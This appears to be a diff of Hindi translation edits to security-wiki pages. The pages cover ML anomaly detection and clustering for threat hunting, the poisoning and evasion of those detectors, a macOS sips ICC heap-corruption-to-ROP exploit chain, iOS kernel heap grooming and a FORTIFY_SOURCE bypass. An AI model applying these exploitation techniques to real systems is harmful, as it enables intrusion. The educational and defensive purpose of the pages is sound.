आउटपुट पहले 20 बिंदुओं के लिए पूर्वानुमानित लेबल दिखाता है (जहाँ -1 विसंगति को इंगित करता है)। हम यह भी प्रिंट करते हैं कि कुल मिलाकर कितनी विसंगतियाँ पाई गईं और कुछ उदाहरण विसंगति स्कोर। हम अपेक्षा करते हैं कि 120 बिंदुओं में से लगभग 18 को -1 के रूप में लेबल किया जाएगा (क्योंकि संदूषण 15% था)। यदि हमारे 20 हमले के नमूने वास्तव में सबसे अधिक बाहरी हैं, तो उनमें से अधिकांश उन -1 पूर्वानुमानों में दिखाई देने चाहिए। विसंगति स्कोर (Isolation Forest का निर्णय कार्य) सामान्य बिंदुओं के लिए अधिक और विसंगतियों के लिए कम (अधिक नकारात्मक) होता है - हम कुछ मान प्रिंट करते हैं ताकि विभाजन को देख सकें। व्यावहारिक रूप से, कोई डेटा को स्कोर के अनुसार क्रमबद्ध कर सकता है ताकि शीर्ष बाहरी बिंदुओं को देखा जा सके और उनकी जांच की जा सके। इस प्रकार, Isolation Forest बड़े बिना लेबल वाले सुरक्षा डेटा के माध्यम से छानने और मानव विश्लेषण या आगे की स्वचालित जांच के लिए सबसे असामान्य उदाहरणों को चुनने का एक कुशल तरीका प्रदान करता है।
|
||||
|
||||
### t-SNE (t-Distributed Stochastic Neighbor Embedding)
|
||||
|
||||
@ -329,26 +331,26 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
|
||||
|
||||
एल्गोरिदम के दो मुख्य चरण हैं:
|
||||
|
||||
1. **उच्च-आयामी स्थान में जोड़ीदार संबंधों की गणना करें:** प्रत्येक बिंदु के जोड़े के लिए, t-SNE एक संभाव्यता की गणना करता है कि कोई उस जोड़े को पड़ोसी के रूप में चुनेगा (यह प्रत्येक बिंदु पर एक गॉसियन वितरण को केंद्रित करके और दूरी को मापकर किया जाता है - पेर्प्लेक्सिटी पैरामीटर प्रभावी पड़ोसियों की संख्या को प्रभावित करता है)।
|
||||
2. **निम्न-आयामी (जैसे 2D) स्थान में जोड़ीदार संबंधों की गणना करें:** प्रारंभ में, बिंदुओं को 2D में यादृच्छिक रूप से रखा जाता है। t-SNE इस मानचित्र में दूरी के लिए एक समान संभाव्यता परिभाषित करता है (एक स्टूडेंट t-वितरण कर्नेल का उपयोग करके, जिसमें गॉसियन की तुलना में भारी पूंछ होती है ताकि दूर के बिंदुओं को अधिक स्वतंत्रता मिल सके)।
|
||||
3. **ग्रेडिएंट डिसेंट:** t-SNE फिर उच्च-D संबंध वितरण और निम्न-D के बीच Kullback–Leibler (KL) विभाजन को न्यूनतम करने के लिए 2D में बिंदुओं को क्रमिक रूप से स्थानांतरित करता है। इससे 2D व्यवस्था उच्च-D संरचना को यथासंभव दर्शाती है - जो बिंदु मूल स्थान में निकट थे वे एक-दूसरे को आकर्षित करेंगे, और जो दूर हैं वे एक-दूसरे को दूर करेंगे, जब तक कि संतुलन नहीं पाया जाता।
|
||||
1. **उच्च-आयामी स्थान में जोड़ीदार संबंधों की गणना करें:** प्रत्येक बिंदु के जोड़े के लिए, t-SNE एक संभावना की गणना करता है कि कोई उस जोड़े को पड़ोसी के रूप में चुनेगा (यह प्रत्येक बिंदु पर एक गॉसियन वितरण को केंद्रित करके और दूरी को मापकर किया जाता है - पेर्प्लेक्सिटी पैरामीटर प्रभावी पड़ोसियों की संख्या को प्रभावित करता है)।
|
||||
2. **निम्न-आयामी (जैसे 2D) स्थान में जोड़ीदार संबंधों की गणना करें:** प्रारंभ में, बिंदुओं को 2D में यादृच्छिक रूप से रखा जाता है। t-SNE इस मानचित्र में दूरी के लिए एक समान संभावना को परिभाषित करता है (एक स्टूडेंट t-वितरण कर्नेल का उपयोग करके, जिसमें गॉसियन की तुलना में भारी पूंछ होती है ताकि दूर के बिंदुओं को अधिक स्वतंत्रता मिल सके)।
|
||||
3. **ग्रेडिएंट डिसेंट:** t-SNE फिर उच्च-D संबंध वितरण और निम्न-D के बीच Kullback–Leibler (KL) विभाजन को न्यूनतम करने के लिए 2D में बिंदुओं को क्रमिक रूप से स्थानांतरित करता है। इससे 2D व्यवस्था उच्च-D संरचना को यथासंभव प्रतिबिंबित करती है - जो बिंदु मूल स्थान में निकट थे वे एक-दूसरे को आकर्षित करेंगे, और जो दूर हैं वे एक-दूसरे को दूर करेंगे, जब तक कि संतुलन नहीं पाया जाता।
|
||||
|
||||
परिणाम अक्सर एक दृश्यात्मक रूप से अर्थपूर्ण स्कैटर प्लॉट होता है जहाँ डेटा में क्लस्टर स्पष्ट हो जाते हैं।
|
||||
परिणाम अक्सर एक दृश्यात्मक रूप से अर्थपूर्ण स्कैटर प्लॉट होता है जहाँ डेटा में समूह स्पष्ट हो जाते हैं।
|
||||
|
||||
> [!TIP]
|
||||
> *साइबर सुरक्षा में उपयोग के मामले:* t-SNE अक्सर **मानव विश्लेषण के लिए उच्च-आयामी सुरक्षा डेटा को दृश्य बनाने के लिए** उपयोग किया जाता है। उदाहरण के लिए, एक सुरक्षा संचालन केंद्र में, विश्लेषक एक घटना डेटा सेट ले सकते हैं जिसमें दर्जनों विशेषताएँ (पोर्ट नंबर, आवृत्तियाँ, बाइट गिनती, आदि) होती हैं और t-SNE का उपयोग करके 2D प्लॉट उत्पन्न कर सकते हैं। हमले इस प्लॉट में अपने स्वयं के क्लस्टर बना सकते हैं या सामान्य डेटा से अलग हो सकते हैं, जिससे उन्हें पहचानना आसान हो जाता है। इसे मैलवेयर डेटा सेट पर लागू किया गया है ताकि मैलवेयर परिवारों के समूहों को देखा जा सके या नेटवर्क घुसपैठ डेटा पर जहाँ विभिन्न हमले के प्रकार स्पष्ट रूप से क्लस्टर होते हैं, आगे की जांच को मार्गदर्शन करते हैं। मूल रूप से, t-SNE एक ऐसा तरीका प्रदान करता है जिससे साइबर डेटा में संरचना देखी जा सके जो अन्यथा अस्पष्ट होती।
|
||||
> *साइबर सुरक्षा में उपयोग के मामले:* t-SNE अक्सर **मानव विश्लेषण के लिए उच्च-आयामी सुरक्षा डेटा को दृश्य बनाने के लिए** उपयोग किया जाता है। उदाहरण के लिए, एक सुरक्षा संचालन केंद्र में, विश्लेषक एक घटना डेटा सेट ले सकते हैं जिसमें दर्जनों विशेषताएँ (पोर्ट नंबर, आवृत्तियाँ, बाइट गिनती, आदि) होती हैं और t-SNE का उपयोग करके 2D प्लॉट उत्पन्न कर सकते हैं। हमले इस प्लॉट में अपने स्वयं के समूह बना सकते हैं या सामान्य डेटा से अलग हो सकते हैं, जिससे उन्हें पहचानना आसान हो जाता है। इसे मैलवेयर डेटा सेट पर लागू किया गया है ताकि मैलवेयर परिवारों के समूहों को देखा जा सके या नेटवर्क घुसपैठ डेटा पर जहाँ विभिन्न हमले के प्रकार स्पष्ट रूप से समूहित होते हैं, आगे की जांच को मार्गदर्शन करते हैं। मूलतः, t-SNE एक ऐसा तरीका प्रदान करता है जिससे साइबर डेटा में संरचना देखी जा सके जो अन्यथा अस्पष्ट होती।
|
||||
|
||||
#### धारणाएँ और सीमाएँ
|
||||
|
||||
t-SNE पैटर्न की दृश्य खोज के लिए महान है। यह क्लस्टर, उपक्लस्टर, और विसंगतियों को प्रकट कर सकता है जो अन्य रेखीय विधियाँ (जैसे PCA) नहीं कर सकतीं। इसका उपयोग साइबर सुरक्षा अनुसंधान में जटिल डेटा जैसे मैलवेयर व्यवहार प्रोफाइल या नेटवर्क ट्रैफ़िक पैटर्न को दृश्य बनाने के लिए किया गया है। क्योंकि यह स्थानीय संरचना को बनाए रखता है, यह प्राकृतिक समूहों को दिखाने में अच्छा है।
|
||||
t-SNE पैटर्न की दृश्य खोज के लिए उत्कृष्ट है। यह समूहों, उप-समूहों, और विसंगतियों को प्रकट कर सकता है जो अन्य रेखीय विधियाँ (जैसे PCA) नहीं कर सकतीं। इसका उपयोग साइबर सुरक्षा अनुसंधान में जटिल डेटा जैसे मैलवेयर व्यवहार प्रोफाइल या नेटवर्क ट्रैफ़िक पैटर्न को दृश्य बनाने के लिए किया गया है। क्योंकि यह स्थानीय संरचना को बनाए रखता है, यह प्राकृतिक समूहों को दिखाने में अच्छा है।
|
||||
|
||||
हालांकि, t-SNE गणनात्मक रूप से भारी है (लगभग $O(n^2)$) इसलिए यह बहुत बड़े डेटा सेट के लिए सैंपलिंग की आवश्यकता हो सकती है। इसमें हाइपरपैरामीटर (पेर्प्लेक्सिटी, लर्निंग रेट, पुनरावृत्तियाँ) भी होते हैं जो आउटपुट को प्रभावित कर सकते हैं - उदाहरण के लिए, विभिन्न पेर्प्लेक्सिटी मान विभिन्न पैमानों पर क्लस्टर प्रकट कर सकते हैं। t-SNE प्लॉट कभी-कभी गलत तरीके से व्याख्यायित किए जा सकते हैं - मानचित्र में दूरी वैश्विक रूप से सीधे अर्थपूर्ण नहीं होती (यह स्थानीय पड़ोस पर ध्यान केंद्रित करता है, कभी-कभी क्लस्टर कृत्रिम रूप से अच्छी तरह से अलग दिखाई दे सकते हैं)। इसके अलावा, t-SNE मुख्य रूप से दृश्य के लिए है; यह नए डेटा बिंदुओं को बिना पुनर्गणना के प्रक्षिप्त करने का सीधा तरीका प्रदान नहीं करता है, और इसे भविष्यवाणी मॉडलिंग के लिए पूर्व-प्रसंस्करण के रूप में उपयोग करने के लिए नहीं बनाया गया है (UMAP एक विकल्प है जो कुछ इन मुद्दों को तेज गति के साथ संबोधित करता है)।
|
||||
हालांकि, t-SNE गणनात्मक रूप से भारी है (लगभग $O(n^2)$) इसलिए यह बहुत बड़े डेटा सेट के लिए सैंपलिंग की आवश्यकता कर सकता है। इसमें हाइपरपैरामीटर (पेर्प्लेक्सिटी, लर्निंग रेट, पुनरावृत्तियाँ) भी होते हैं जो आउटपुट को प्रभावित कर सकते हैं - उदाहरण के लिए, विभिन्न पेर्प्लेक्सिटी मान विभिन्न पैमानों पर समूहों को प्रकट कर सकते हैं। t-SNE प्लॉट कभी-कभी गलत तरीके से व्याख्यायित किए जा सकते हैं - मानचित्र में दूरी वैश्विक रूप से सीधे अर्थपूर्ण नहीं होती (यह स्थानीय पड़ोस पर ध्यान केंद्रित करता है, कभी-कभी समूह कृत्रिम रूप से अच्छी तरह से अलग दिखाई दे सकते हैं)। इसके अलावा, t-SNE मुख्य रूप से दृश्य के लिए है; यह नए डेटा बिंदुओं को बिना पुनर्गणना के प्रक्षिप्त करने का सीधा तरीका प्रदान नहीं करता है, और इसे भविष्यवाणी मॉडलिंग के लिए पूर्व-प्रसंस्करण के रूप में उपयोग करने के लिए नहीं बनाया गया है (UMAP एक विकल्प है जो कुछ इन मुद्दों को तेज गति के साथ संबोधित करता है)।
|
||||
|
||||
<details>
|
||||
<summary>उदाहरण -- नेटवर्क कनेक्शनों का दृश्य बनाना
|
||||
</summary>
|
||||
|
||||
हम t-SNE का उपयोग करके एक बहु-विशेषता डेटा सेट को 2D में घटित करेंगे। उदाहरण के लिए, चलिए पहले के 4D डेटा (जिसमें सामान्य ट्रैफ़िक के 3 प्राकृतिक क्लस्टर थे) को लेते हैं और कुछ विसंगति बिंदुओं को जोड़ते हैं। फिर हम t-SNE चलाते हैं और (वैचारिक रूप से) परिणामों का दृश्य बनाते हैं।
|
||||
हम t-SNE का उपयोग करके एक बहु-विशेषता डेटा सेट को 2D में घटित करेंगे। उदाहरण के लिए, चलिए पहले के 4D डेटा (जिसमें सामान्य ट्रैफ़िक के 3 प्राकृतिक समूह थे) को लेते हैं और कुछ विसंगति बिंदु जोड़ते हैं। फिर हम t-SNE चलाते हैं और (सैद्धांतिक रूप से) परिणामों का दृश्य बनाते हैं।
|
||||
```python
|
||||
# 1 ─────────────────────────────────────────────────────────────────────
|
||||
# Create synthetic 4-D dataset
|
||||
@ -431,13 +433,13 @@ plt.legend()
|
||||
plt.tight_layout()
|
||||
plt.show()
|
||||
```
|
||||
यहाँ हमने अपने पिछले 4D सामान्य डेटासेट को कुछ चरम आउटलेयर के साथ मिलाया है (आउटलेयर में एक विशेषता ("अवधि") बहुत उच्च सेट की गई है, आदि, एक अजीब पैटर्न का अनुकरण करने के लिए)। हम 30 की सामान्य पेरीप्लेक्सिटी के साथ t-SNE चलाते हैं। आउटपुट data_2d का आकार (1505, 2) है। हम वास्तव में इस पाठ में प्लॉट नहीं करेंगे, लेकिन अगर हम करते, तो हम शायद 3 सामान्य क्लस्टरों के लिए तीन तंग क्लस्टर देखने की उम्मीद करते, और 5 आउटलेयर उन क्लस्टरों से दूर एकल बिंदुओं के रूप में दिखाई देंगे। एक इंटरएक्टिव वर्कफ़्लो में, हम बिंदुओं को उनके लेबल (सामान्य या कौन सा क्लस्टर, बनाम विसंगति) द्वारा रंगीन कर सकते हैं ताकि इस संरचना की पुष्टि की जा सके। लेबल के बिना भी, एक विश्लेषक उन 5 बिंदुओं को 2D प्लॉट पर खाली स्थान में बैठे हुए देख सकता है और उन्हें चिह्नित कर सकता है। यह दिखाता है कि t-SNE साइबरसिक्योरिटी डेटा में दृश्य विसंगति पहचान और क्लस्टर निरीक्षण के लिए एक शक्तिशाली सहायक हो सकता है, जो ऊपर दिए गए स्वचालित एल्गोरिदम को पूरा करता है।
|
||||
यहाँ हमने अपने पिछले 4D सामान्य डेटासेट को कुछ चरम आउटलेयर के साथ मिलाया है (आउटलेयर में एक विशेषता ("अवधि") बहुत उच्च सेट की गई है, आदि, एक अजीब पैटर्न का अनुकरण करने के लिए)। हम 30 की सामान्य पेरीप्लेक्सिटी के साथ t-SNE चलाते हैं। आउटपुट data_2d का आकार (1505, 2) है। हम वास्तव में इस पाठ में प्लॉट नहीं करेंगे, लेकिन अगर हम करते, तो हम शायद 3 सामान्य क्लस्टरों के लिए तीन तंग क्लस्टर देखने की उम्मीद करते, और 5 आउटलेयर उन क्लस्टरों से दूर अलग बिंदुओं के रूप में दिखाई देंगे। एक इंटरएक्टिव वर्कफ़्लो में, हम बिंदुओं को उनके लेबल (सामान्य या कौन सा क्लस्टर, बनाम विसंगति) द्वारा रंगीन कर सकते हैं ताकि इस संरचना की पुष्टि की जा सके। लेबल के बिना भी, एक विश्लेषक उन 5 बिंदुओं को 2D प्लॉट पर खाली स्थान में बैठे हुए देख सकता है और उन्हें चिह्नित कर सकता है। यह दिखाता है कि t-SNE साइबरसिक्योरिटी डेटा में दृश्य विसंगति पहचान और क्लस्टर निरीक्षण के लिए एक शक्तिशाली सहायक हो सकता है, जो ऊपर दिए गए स्वचालित एल्गोरिदम को पूरा करता है।
|
||||
|
||||
</details>
|
||||
|
||||
### HDBSCAN (शोर के साथ अनुप्रयोगों का पदानुक्रम घनत्व-आधारित स्थानिक क्लस्टरिंग)
|
||||
### HDBSCAN (Hierarchical Density-Based Spatial Clustering of Applications with Noise)
|
||||
|
||||
**HDBSCAN** DBSCAN का एक विस्तार है जो एकल वैश्विक `eps` मान चुनने की आवश्यकता को समाप्त करता है और **विभिन्न घनत्व** के क्लस्टरों को पुनर्प्राप्त करने में सक्षम है, घनत्व-सम्बंधित घटकों का एक पदानुक्रम बनाकर और फिर उसे संकुचित करके। वनीला DBSCAN की तुलना में यह आमतौर पर
|
||||
**HDBSCAN** DBSCAN का एक विस्तार है जो एकल वैश्विक `eps` मान चुनने की आवश्यकता को समाप्त करता है और **विभिन्न घनत्व** के क्लस्टरों को पुनर्प्राप्त करने में सक्षम है, घनत्व-सम्बंधित घटकों की एक पदानुक्रम बनाकर और फिर उसे संकुचित करके। वनीला DBSCAN की तुलना में यह आमतौर पर
|
||||
|
||||
* अधिक सहज क्लस्टर निकालता है जब कुछ क्लस्टर घने होते हैं और अन्य विरल होते हैं,
|
||||
* केवल एक वास्तविक हाइपर-पैरामीटर (`min_cluster_size`) और एक समझदारी से डिफ़ॉल्ट होता है,
|
||||
@ -447,7 +449,7 @@ plt.show()
|
||||
> *साइबरसिक्योरिटी में उपयोग के मामले:* HDBSCAN आधुनिक खतरे-शिकार पाइपलाइनों में बहुत लोकप्रिय है - आप इसे अक्सर व्यावसायिक XDR सूट के साथ भेजे गए नोटबुक-आधारित शिकार प्लेबुक में देखेंगे। एक व्यावहारिक नुस्खा HTTP बीकनिंग ट्रैफ़िक को IR के दौरान क्लस्टर करना है: उपयोगकर्ता-एजेंट, अंतराल और URI लंबाई अक्सर कई तंग समूहों का निर्माण करते हैं जो वैध सॉफ़्टवेयर अपडेटर्स के रूप में होते हैं जबकि C2 बीकन छोटे कम-घनत्व क्लस्टरों के रूप में या शुद्ध शोर के रूप में रहते हैं।
|
||||
|
||||
<details>
|
||||
<summary>उदाहरण - बीकनिंग C2 चैनलों को खोजना</summary>
|
||||
<summary>उदाहरण – बीकनिंग C2 चैनलों को खोजना</summary>
|
||||
```python
|
||||
import pandas as pd
|
||||
from hdbscan import HDBSCAN
|
||||
@ -479,9 +481,9 @@ print("Suspect beacon count:", len(suspects))
|
||||
|
||||
हाल के काम ने दिखाया है कि **अवशिष्ट शिक्षार्थी सक्रिय हमलावरों के प्रति *प्रतिरक्षित* नहीं हैं**:
|
||||
|
||||
* **असामान्यताओं के खिलाफ डेटा-ज़हर देना।** चेन *et al.* (IEEE S&P 2024) ने प्रदर्शित किया कि 3% तैयार किए गए ट्रैफ़िक को जोड़ने से Isolation Forest और ECOD का निर्णय सीमा बदल सकती है, जिससे असली हमले सामान्य लगते हैं। लेखकों ने एक ओपन-सोर्स PoC (`udo-poison`) जारी किया जो स्वचालित रूप से ज़हर बिंदुओं का संश्लेषण करता है।
|
||||
* **असामान्यताओं के खिलाफ डेटा-ज़हर देना।** चेन *et al.* (IEEE S&P 2024) ने प्रदर्शित किया कि 3% तैयार किए गए ट्रैफ़िक को जोड़ने से Isolation Forest और ECOD का निर्णय सीमा बदल सकती है, जिससे वास्तविक हमले सामान्य लगते हैं। लेखकों ने एक ओपन-सोर्स PoC (`udo-poison`) जारी किया जो स्वचालित रूप से ज़हर बिंदुओं का संश्लेषण करता है।
|
||||
* **क्लस्टरिंग मॉडलों में बैकडोरिंग।** *BadCME* तकनीक (BlackHat EU 2023) एक छोटे ट्रिगर पैटर्न को स्थापित करती है; जब भी वह ट्रिगर प्रकट होता है, एक K-Means-आधारित डिटेक्टर चुपचाप घटना को "सौम्य" क्लस्टर के अंदर रखता है।
|
||||
* **DBSCAN/HDBSCAN से बचाव।** KU Leuven से 2025 का एक शैक्षणिक प्री-प्रिंट दिखाता है कि एक हमलावर बीकनिंग पैटर्न तैयार कर सकता है जो जानबूझकर घनत्व के अंतराल में गिरता है, प्रभावी रूप से *शोर* लेबल के अंदर छिपता है।
|
||||
* **DBSCAN/HDBSCAN से बचाव।** KU Leuven से 2025 का एक शैक्षणिक प्री-प्रिंट दिखाता है कि एक हमलावर ऐसे बीकनिंग पैटर्न तैयार कर सकता है जो जानबूझकर घनत्व के अंतराल में गिरते हैं, प्रभावी रूप से *शोर* लेबल के अंदर छिपते हैं।
|
||||
|
||||
जो उपाय लोकप्रिय हो रहे हैं:
|
||||
|
||||
@ -493,7 +495,7 @@ print("Suspect beacon count:", len(suspects))
|
||||
|
||||
### आधुनिक ओपन-सोर्स उपकरण (2024-2025)
|
||||
|
||||
* **PyOD 2.x** (मई 2024 में जारी) ने *ECOD*, *COPOD* और GPU-त्वरित *AutoFormer* डिटेक्टर जोड़े। अब यह एक `benchmark` उप-कमांड के साथ आता है जो आपको **एक लाइन कोड** के साथ अपने डेटासेट पर 30+ एल्गोरिदम की तुलना करने की अनुमति देता है:
|
||||
* **PyOD 2.x** (मई 2024 में जारी) ने *ECOD*, *COPOD* और GPU-त्वरित *AutoFormer* डिटेक्टर जोड़े। अब यह एक `benchmark` उप-आदेश के साथ आता है जो आपको **एक पंक्ति कोड** के साथ अपने डेटासेट पर 30+ एल्गोरिदम की तुलना करने की अनुमति देता है:
|
||||
```bash
|
||||
pyod benchmark --input logs.csv --label attack --n_jobs 8
|
||||
```
|
||||
|
@ -35,7 +35,7 @@ sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **हीप मेटाडेटा भ्रष्टाचार ➜ मनमाना लेखन ➜ ROP**
|
||||
Apple के डिफ़ॉल्ट **`nano_zone` आवंटक** पर, 16-बाइट स्लॉट के लिए मेटाडेटा **सही तरीके से संरेखित 0x1000 स्लैब के तुरंत बाद** रहता है। ऐसे स्लैब के अंत में प्रोफ़ाइल का टैग रखकर, 16 शून्य-लेखन `meta->slot_B` को क्लॉबर कर देते हैं। एक बाद के `free` के बाद, विषाक्त पॉइंटर को छोटे मुक्त सूची में कतारबद्ध किया जाता है, जिससे हमलावर को **एक मनमाने पते पर एक नकली ऑब्जेक्ट आवंटित करने** और sips द्वारा उपयोग किए जाने वाले C++ vtable पॉइंटर को ओवरराइट करने की अनुमति मिलती है, अंततः निष्पादन को दुर्भावनापूर्ण ICC बफर में संग्रहीत ROP श्रृंखला पर पिवट करते हैं।
|
||||
Apple के डिफ़ॉल्ट **`nano_zone` आवंटक** पर, 16-बाइट स्लॉट के लिए मेटाडेटा **सही तरीके से संरेखित 0x1000 स्लैब के तुरंत बाद** रहता है। ऐसे स्लैब के अंत में प्रोफ़ाइल का टैग रखकर, 16 शून्य-लेखन `meta->slot_B` को क्लॉबर कर देते हैं। एक बाद के `free` के बाद, विषाक्त पॉइंटर को छोटे मुक्त सूची में कतारबद्ध किया जाता है, जिससे हमलावर को **किसी भी पते पर एक नकली ऑब्जेक्ट आवंटित करने** और sips द्वारा उपयोग किए जाने वाले C++ vtable पॉइंटर को ओवरराइट करने की अनुमति मिलती है, अंततः निष्पादन को दुर्भावनापूर्ण ICC बफर में संग्रहीत ROP श्रृंखला पर पिवट करते हैं।
|
||||
|
||||
### त्वरित PoC जनरेटर (Python 3)
|
||||
```python
|
||||
|
@ -13,17 +13,17 @@ Stack overflows में हम जानते हैं कि कुछ र
|
||||
|
||||
### Stack Overflows vs Heap Overflows
|
||||
|
||||
Stack overflows में उस समय stack में मौजूद डेटा और व्यवस्था जब भेद्यता को सक्रिय किया जा सकता है, काफी विश्वसनीय होती है। इसका कारण यह है कि stack रैखिक है, हमेशा टकराते मेमोरी में बढ़ता है, **कार्यक्रम के चलने के विशिष्ट स्थानों पर stack मेमोरी आमतौर पर समान प्रकार के डेटा को स्टोर करती है** और इसमें प्रत्येक फ़ंक्शन द्वारा उपयोग किए जाने वाले stack भाग के अंत में कुछ पॉइंटर्स के साथ कुछ विशिष्ट संरचना होती है।
|
||||
Stack overflows में उस समय stack में मौजूद डेटा और व्यवस्था जब भेद्यता को सक्रिय किया जा सकता है, काफी विश्वसनीय होती है। इसका कारण यह है कि stack रैखिक है, हमेशा टकराते हुए मेमोरी में बढ़ता है, **कार्यक्रम के चलने के विशिष्ट स्थानों पर stack मेमोरी आमतौर पर समान प्रकार के डेटा को स्टोर करती है** और इसमें प्रत्येक फ़ंक्शन द्वारा उपयोग किए जाने वाले stack भाग के अंत में कुछ पॉइंटर्स के साथ कुछ विशिष्ट संरचना होती है।
|
||||
|
||||
हालांकि, heap overflow के मामले में, उपयोग की गई मेमोरी रैखिक नहीं होती है बल्कि **आवंटित चंक्स आमतौर पर मेमोरी के अलग-अलग स्थानों में होते हैं** (एक के बगल में नहीं) क्योंकि **bins और zones** आवंटनों को आकार के अनुसार अलग करते हैं और क्योंकि **पिछली मुक्त मेमोरी का उपयोग किया जाता है** नए चंक्स को आवंटित करने से पहले। यह **जानना जटिल है कि कौन सा ऑब्जेक्ट उस ऑब्जेक्ट के साथ टकराने वाला है** जो heap overflow के लिए संवेदनशील है। इसलिए, जब एक heap overflow पाया जाता है, तो यह आवश्यक है कि **वांछित ऑब्जेक्ट को मेमोरी में अगले स्थान पर लाने का एक विश्वसनीय तरीका खोजा जाए** जो ओवरफ्लो किया जा सकता है।
|
||||
हालांकि, heap overflow के मामले में, उपयोग की गई मेमोरी रैखिक नहीं होती है बल्कि **आवंटित चंक्स आमतौर पर मेमोरी के अलग-अलग स्थानों में होते हैं** (एक के बगल में नहीं) क्योंकि **आकार के अनुसार आवंटनों को अलग करने के लिए बिन और ज़ोन** होते हैं और क्योंकि **पिछली मुक्त मेमोरी का उपयोग किया जाता है** नए चंक्स को आवंटित करने से पहले। यह **जानना जटिल है कि कौन सा ऑब्जेक्ट उस ऑब्जेक्ट के साथ टकराने वाला है** जो heap overflow के लिए संवेदनशील है। इसलिए, जब एक heap overflow पाया जाता है, तो यह आवश्यक है कि **वांछित ऑब्जेक्ट को मेमोरी में अगले स्थान पर लाने का एक विश्वसनीय तरीका खोजा जाए**।
|
||||
|
||||
इसका एक तकनीक **Heap Grooming** है जिसका उपयोग उदाहरण के लिए [**इस पोस्ट में**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) किया गया है। पोस्ट में यह समझाया गया है कि जब iOS कर्नेल में एक ज़ोन में मेमोरी खत्म हो जाती है, तो यह इसे एक कर्नेल पृष्ठ द्वारा बढ़ाता है, और यह पृष्ठ अपेक्षित आकार के चंक्स में विभाजित होता है जो क्रम में उपयोग किए जाएंगे (iOS संस्करण 9.2 तक, फिर ये चंक्स इन हमलों के शोषण को कठिन बनाने के लिए यादृच्छिक तरीके से उपयोग किए जाते हैं)।
|
||||
इसके लिए उपयोग की जाने वाली तकनीकों में से एक है **Heap Grooming** जिसे उदाहरण के लिए [**इस पोस्ट में**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) उपयोग किया गया है। पोस्ट में यह समझाया गया है कि जब iOS कर्नेल में एक ज़ोन में मेमोरी खत्म हो जाती है, तो यह इसे एक कर्नेल पृष्ठ द्वारा बढ़ाता है, और यह पृष्ठ अपेक्षित आकार के चंक्स में विभाजित होता है जो क्रम में उपयोग किए जाएंगे (iOS संस्करण 9.2 तक, फिर ये चंक्स इन हमलों के शोषण को कठिन बनाने के लिए यादृच्छिक तरीके से उपयोग किए जाते हैं)।
|
||||
|
||||
इसलिए, पिछले पोस्ट में जहां heap overflow हो रहा है, ओवरफ्लो किए गए ऑब्जेक्ट को एक पीड़ित ऑर्डर के साथ टकराने के लिए मजबूर करने के लिए, कई **`kallocs` को कई थ्रेड्स द्वारा मजबूर किया जाता है ताकि यह सुनिश्चित किया जा सके कि सभी मुक्त चंक्स भरे हुए हैं और एक नया पृष्ठ बनाया गया है**।
|
||||
|
||||
विशिष्ट आकार के ऑब्जेक्ट के साथ इस भराई को मजबूर करने के लिए, **iOS mach port से संबंधित आउट-ऑफ-लाइन आवंटन** एक आदर्श उम्मीदवार है। संदेश के आकार को तैयार करके, `kalloc` आवंटन के आकार को सटीक रूप से निर्दिष्ट करना संभव है और जब संबंधित mach port नष्ट होता है, तो संबंधित आवंटन तुरंत `kfree` पर वापस जारी किया जाएगा।
|
||||
|
||||
फिर, इनमें से कुछ प्लेसहोल्डर्स को **मुक्त** किया जा सकता है। **`kalloc.4096` मुक्त सूची तत्वों को अंतिम-में-प्रथम-से-आदेश में जारी करती है**, जिसका मूल रूप से मतलब है कि यदि कुछ प्लेसहोल्डर्स मुक्त किए जाते हैं और शोषण कई पीड़ित ऑब्जेक्ट्स को आवंटित करने की कोशिश करता है जबकि ओवरफ्लो के लिए संवेदनशील ऑब्जेक्ट को आवंटित करने की कोशिश करता है, तो यह संभावना है कि यह ऑब्जेक्ट एक पीड़ित ऑब्जेक्ट द्वारा अनुसरण किया जाएगा।
|
||||
फिर, इनमें से कुछ प्लेसहोल्डर्स को **मुक्त** किया जा सकता है। **`kalloc.4096` मुक्त सूची तत्वों को अंतिम-में-प्रथम-से-आदेश में जारी करती है**, जिसका मूल रूप से मतलब है कि यदि कुछ प्लेसहोल्डर्स को मुक्त किया जाता है और शोषण कई पीड़ित ऑब्जेक्ट्स को आवंटित करने की कोशिश करता है जबकि ओवरफ्लो के लिए संवेदनशील ऑब्जेक्ट को आवंटित करने की कोशिश करता है, तो यह संभावना है कि यह ऑब्जेक्ट एक पीड़ित ऑब्जेक्ट द्वारा अनुसरण किया जाएगा।
|
||||
|
||||
### Example libc
|
||||
|
||||
@ -31,7 +31,7 @@ Stack overflows में उस समय stack में मौजूद ड
|
||||
|
||||
[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) से एक और उदाहरण एक बहुत बुनियादी CTF का उदाहरण दिखाता है जहां **heap overflow** का दुरुपयोग करके विजेता फ़ंक्शन को कॉल किया जा सकता है **फ्लैग प्राप्त करने के लिए**।
|
||||
|
||||
[**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) उदाहरण में यह देखा जा सकता है कि एक बफर ओवरफ्लो का दुरुपयोग करके यह संभव है कि **एक निकट चंक में एक पता ओवरराइट किया जाए** जहां **उपयोगकर्ता से मनमाना डेटा** लिखा जाएगा।
|
||||
[**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) उदाहरण में यह देखा जा सकता है कि एक बफर ओवरफ्लो का दुरुपयोग करके **एक निकट चंक में एक पता ओवरराइट करना** संभव है जहां **उपयोगकर्ता से मनमाना डेटा** लिखा जाएगा।
|
||||
|
||||
### Example ARM64
|
||||
|
||||
@ -57,7 +57,7 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||
"%s%s%s%s", /* format */
|
||||
"/", "https://", path, host);
|
||||
```
|
||||
`__sprintf_chk` **_FORTIFY_SOURCE_** का हिस्सा है। जब यह **सकारात्मक** `size` पैरामीटर प्राप्त करता है, तो यह सुनिश्चित करता है कि परिणामी स्ट्रिंग गंतव्य बफर के अंदर फिट हो। **`-1` (0xFFFFFFFFFFFFFFFF)** पास करके, डेवलपर्स ने प्रभावी रूप से **बाउंड्स चेक को अक्षम** कर दिया, सुरक्षित `sprintf` को फिर से एक क्लासिक, असुरक्षित कॉल में बदल दिया।
|
||||
